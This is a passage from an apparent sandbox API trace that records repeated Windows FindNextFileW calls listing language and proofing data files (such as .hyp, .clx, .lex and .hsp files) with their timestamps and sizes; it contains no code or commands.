ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.hyp", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="can03.ths", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="can129.hsp", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="can32.clx", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.fca", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.hyp", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr32.clx", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a251, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr68.hsp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr95.ths", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.fca", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.hyp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4589f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl28.hsp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl32.clx", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.fca", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.hyp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x127204, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze108.hsp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze32.clx", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan.hyp", cAlternateFileName="")) returned 1 [0238.446] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan32.clx", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan45.lex", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan94.ths", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="danphon.env", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.fca", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.hyp", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c06a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut102.hsp", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut32.clx", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut57.ths", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng.hyp", cAlternateFileName="")) returned 1 [0238.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng32.clx", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="engphon.env", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="est.hyp", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="est133.lex", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="est32.clx", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1029, dwReserved0=0x0, dwReserved1=0x0, cFileName="estphon.env", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin.hyp", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin32.clx", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin49.lex", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="finphon.env", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.fca", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.hyp", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44280, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn21.hsp", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn32.clx", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn93.ths", cAlternateFileName="")) returned 1 [0238.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.fca", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.hyp", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre110.hsp", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre32.clx", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 